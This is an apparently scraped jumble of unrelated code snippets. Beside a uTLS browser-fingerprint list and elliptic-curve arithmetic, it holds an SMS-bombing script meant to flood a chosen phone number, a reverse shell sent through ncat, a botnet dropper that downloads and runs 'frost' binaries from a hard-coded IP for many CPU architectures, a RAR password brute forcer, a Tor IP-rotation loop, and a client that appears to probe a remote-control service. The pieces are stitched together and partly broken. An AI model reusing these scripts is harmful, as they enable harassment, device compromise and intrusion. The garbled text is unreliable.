HelloGolang = ClientHelloID{helloGolang, helloAutoVers, nil, nil}

        // HelloCustom will prepare ClientHello with empty uconn.Extensions so you can fill it with
        // TLSExtensions manually or use ApplyPreset function
        HelloCustom = ClientHelloID{helloCustom, helloAutoVers, nil, nil}

        // HelloRandomized* randomly adds/reorders extensions, ciphersuites, etc.
        HelloRandomized       = ClientHelloID{helloRandomized, helloAutoVers, nil, nil}
        HelloRandomizedALPN   = ClientHelloID{helloRandomizedALPN, helloAutoVers, nil, nil}
        HelloRandomizedNoALPN = ClientHelloID{helloRandomizedNoALPN, helloAutoVers, nil, nil}

        // The rest will will parrot given browser.
        HelloFirefox_Auto = HelloFirefox_120
        HelloFirefox_55   = ClientHelloID{helloFirefox, "55", nil, nil}
        HelloFirefox_56   = ClientHelloID{helloFirefox, "56", nil, nil}
        HelloFirefox_63   = ClientHelloID{helloFirefox, "63", nil, nil}
        HelloFirefox_65   = ClientHelloID{helloFirefox, "65", nil, nil}
        HelloFirefox_99   = ClientHelloID{helloFirefox, "99", nil, nil}
        HelloFirefox_102  = ClientHelloID{helloFirefox, "102", nil, nil}
        HelloFirefox_105  = ClientHelloID{helloFirefox, "105", nil, nil}
        HelloFirefox_120  = ClientHelloID{helloFirefox, "120", nil, nil}

        HelloChrome_Auto        = HelloChrome_133
        HelloChrome_58          = ClientHelloID{helloChrome, "58", nil, nil}
        HelloChrome_62          = ClientHelloID{helloChrome, "62", nil, nil}
        HelloChrome_70          = ClientHelloID{helloChrome, "70", nil, nil}
        HelloChrome_72          = ClientHelloID{helloChrome, "72", nil, nil}
        HelloChrome_83          = ClientHelloID{helloChrome, "83", nil, nil}
        HelloChrome_87          = ClientHelloID{helloChrome, "87", nil, nil}
        HelloChrome_96          = ClientHelloID{helloChrome, "96", nil, nil}
        HelloChrome_100         = ClientHelloID{helloChrome, "100", nil, nil}
        HelloChrome_102         = ClientHelloID{helloChrome, "102", nil, nil}
        HelloChrome_106_Shuffle = ClientHelloID{helloChrome, "106", nil, nil} // TLS Extension shuffler enabled starting from 106

        // Chrome w/ PSK: Chrome start sending this ClientHello after doing TLS 1.3 handshake with the same server.
        // Beta: PSK extension added. However, uTLS doesn't ship with full PSK support.
        // Use at your own discretion.
        HelloChrome_100_PSK              = ClientHelloID{helloChrome, "100_PSK", nil, nil}
        HelloChrome_112_PSK_Shuf         = ClientHelloID{helloChrome, "112_PSK", nil, nil}
        HelloChrome_114_Padding_PSK_Shuf = ClientHelloID{helloChrome, "114_PSK", nil, nil}

        // Chrome w/ Post-Quantum Key Agreement
        // Beta: PQ extension added. However, uTLS doesn't ship with full PQ support. Use at your own discretion.
        HelloChrome_115_PQ     = ClientHelloID{helloChrome, "115_PQ", nil, nil}
        HelloChrome_115_PQ_PSK = ClientHelloID{helloChrome, "115_PQ_PSK", nil, nil}

        // Chrome ECH
        HelloChrome_120 = ClientHelloID{helloChrome, "120", nil, nil}
        // Chrome w/ Post-Quantum Key Agreement and Encrypted ClientHello
        HelloChrome_120_PQ = ClientHelloID{helloChrome, "120_PQ", nil, nil}
        // Chrome w/ ML-KEM curve
        HelloChrome_131 = ClientHelloID{helloChrome, "131", nil, nil}
        // Chrome w/ New ALPS codepoint
        HelloChrome_133 = ClientHelloID{helloChrome, "133", nil, nil}

        HelloIOS_Auto = HelloIOS_14
        HelloIOS_11_1 = ClientHelloID{helloIOS, "111", nil, nil} // legacy "111" means 11.1
        HelloIOS_12_1 = ClientHelloID{helloIOS, "12.1", nil, nil}
        HelloIOS_13   = ClientHelloID{helloIOS, "13", nil, nil}
        HelloIOS_14   = ClientHelloID{helloIOS, "14", nil, nil}

        HelloAndroid_11_OkHttp = ClientHelloID{helloAndroid, "11", nil, nil}

x86_64-w64-mingw32-gcc oexplore.c -o oexplore.exe -lole32 -loleaut32 -mwindows -luuid

# 短信轰炸机(金数据)
import requests
url='https://jinshuju.com/graphql/f/GWSnA4'
json = [
    {
        'operationName': 'CreateFieldVerification',
        'variables': {
            'input': {
                'fieldApiCode': 'field_1',
                'formId': 'GWSnA4',
                'mobile': '15829381956',
             
            },
        },    
        'extensions': {
            'persistedQuery': {
                'sha256Hash': '77e2c905d36069c91d2ea55e915a1916204393b04a632087d59001301e6f7f5b'
                               
        },
    },
    }
]
# mobile可以在 t.me/qingbaoju_qun 里找
# 自行换成你要轰炸的电话号码
requests.post(url=url, json=json)

cat /tmp/p | /bin/sh/ -i 2>&1 | ncat 8.8.8.8 53 > /tmp/p

print(import('bs4').BeautifulSoup(import('requests').get('http://192.168.3.1').text,'html.parser').title.string)

cd /tmp || cd /var/tmp || cd /var || cd /mnt || cd /dev || cd /
wget http://87.121.84.101/frost.armv7; chmod 777 frost.armv7; ./frost.armv7 dvr.lilin; rm frost.armv7
wget http://87.121.84.101/frost.armv6; chmod 777 frost.armv6; ./frost.armv6 dvr.lilin; rm frost.armv6
wget http://87.121.84.101/frost.armv5; chmod 777 frost.armv5; ./frost.armv5 dvr.lilin; rm frost.armv5
wget http://87.121.84.101/frost.mips; chmod 777 frost.mips; ./frost.mips dvr.lilin; rm frost.mips
wget http://87.121.84.101/frost.mipsel; chmod 777 frost.mipsel; ./frost.mipsel dvr.lilin; rm frost.mipsel
wget http://87.121.84.101/frost.aarch64; chmod 777 frost.aarch64; ./frost.aarch64 dvr.lilin; rm frost.aarch64
wget http://87.121.84.101/frost.x86; chmod 777 frost.x86; ./frost.x86 dvr.lilin; rm frost.x86
wget http://87.121.84.101/frost.x86_64; chmod 777 frost.x86_64; ./frost.x86_64 dvr.lilin; rm frost.x86_64

write(1, "pwned :3", 8)
connect(4, {sa_family=AF_INET, sin_port=htons(5555), sin_addr=inet_addr("144.172.103.124")}, 16) 
unlink("./frost.armv7") // the reason I stop

from sympy import mod_inverse
# 模逆运算很简单
p = 0xFFFFFFFF00000001000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFF
a = 0xFFFFFFFF00000001000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFC
b = 0x5AC635D8AA3A93E7B3EBBD55769886BC651D06B0CC53B0F63BCE3C3E27D2604B
x = 0x6B17D1F2E12C4247F8BCE6E563A440F277037D812DEB33A0F4A13945D898C296
y = 0x4FE342E2FE1A7F9B8EE7EB4A7C0F9E162BCE33576B315ECECBB6406837BF51F5
n = 0xFFFFFFFF00000000FFFFFFFFFFFFFFFFBCE6FAADA7179E84F3B9CAC2FC632551
U221E = (0,0) 其实U+221E是无穷原点的Unicode
def point_add(P1 , P2):
    if P1 == U221E:
        return P2
    if P2 == U221E:
        return P1
    x1 , y1 = P1
    x2 , y2 = P2
    if x1 != x2:
        m = (y2 - y1) * mod_inverse(x2 - x1,p) % p
        x3 = (m ** 2 - x1 - x2) % p
        y3 = (m * (x1 - x3) - y1) % p
        return (x3,y3)
    if x1 == x2 and y1 != y2:
        return U221E
# 这是点的加法
def point_double(P1, P2):
    x1 , y1 = P1
    x2 , y2 = P2
    if P1 == P2 and y1 != 0:
        m = (3 * x1 ** 2 + a) * mod_inverse(2 * y1,p) % p
        x3 = (m ** 2 - 2 * x1) % p
        y3 = (m * (x1 - x3) - y1) % p
        return (x3,y3)
    if P1 == P2 and y1 == 0:
        return U221E
# 略过了
def double_and_add(s,P):
    bits = format(s,'b')[::-1]
    res = U221E
    temp = P
    for bit in bits:       
        if bit == '1':
            res = point_add(res , temp)
        temp = point_double(temp , temp)
    return res

import os
import datetime
from unrar import rarfile
import sys
def crack(encryptfile):
    bFound=False
    fp=rarfile.RarFile(winfile)
    start=0
    stop=9999
    for i in range(start,stop):
        pwd=str(i).zfill(4)
        try:
            fp.extractall(path=".",pwd=pwd)
            print('\npassword'+pwd)
            bFound=True
            fp.close
        except Exception as e:
            print("\rcomplete","{:.0%}".format((i-start)/(stop-start)),end="")
        if bFound:
            break
if __name__=='__main__':
    starttime=datetime.datetime.now()
    crack(sys.argv[1])

import requests
from stem import Signal
from stem.control import Controller
url="https://check[.]torproject[.]org"
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from bs4 import BeautifulSoup 
proxies = {'https':'socks5h://127.0.0.1:9150'}
while True:
        try:
            c=Controller.from_port()
            c.authenticate()
            c.signal(Signal.NEWNYM)
            r = requests.get(url=url, proxies=proxies,verify=False).text
               print(BeautifulSoup(r,'lxml').strong.string)
        except KeyboardInterrupt:
            print('Control-C')
            break

from Crypto.Cipher import DES
import struct
import zlib
import binascii
import socket
import sys
def reverse_bytes(b):
    assert type(b) == bytes
    ba = bytearray(b)
    for i in range(0, len(b)):
        ba[i] = int(format(b[i], '0>8b')[::-1], 2)
    return bytes(ba)
def get_new_key(key):
    ba = bytearray(8)
    for i, b in enumerate(key):
        ba[i % 8] ^= b
    return bytes(ba)
def padding(d):
    ba = bytearray(d)
    while len(ba) % 8 != 0:
        ba.append(0)
    return bytes(ba)
def append_len(d):
    assert type(d) == bytes
    length = struct.pack('<L', len(d))
    return bytes(length + d)
def remove_len(d):
    assert type(d) == bytes
    return d[4:]
def e_des_encrypt(plain, key):
    des = DES.new(reverse_bytes(get_new_key(key)), DES.MODE_ECB)
    return des.encrypt(padding(append_len(plain)))
def e_des_decrypt(raw, key):
    des = DES.new(reverse_bytes(get_new_key(key)), DES.MODE_ECB)
    t = des.decrypt(raw)
    return remove_len(t)
plain = "MicrosoftWebゑㄤゑ0ゑㄤゑ0ゑㄤゑ0ゑㄤゑ0ゑㄤゑ0ゑㄤゑ0ゑㄤゑ0ゑㄤゑ0ゑㄤゑ0ゑㄤゑ0".encode('gbk')
key = b"Microsoft"
ciph = e_des_encrypt(plain, key)
data = binascii.unhexlify('0d0f3e0308010000')+zlib.compress(ciph)
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((sys.argv[1],8080))
s.send(data)
while True:
    recevied=s.recv(4096)
    zlib_start = recevied.find(b'\x78\x9c')
    if zlib_start!=-1:
        zlib_data = recevied[zlib_start:]
        decompressed = zlib.decompress(zlib_data)
        plaintext_bytes = e_des_decrypt(decompressed, b"Microsoft")
        plaintext = plaintext_bytes.decode('gbk')
        print(plaintext)
    else:
        print(recevied)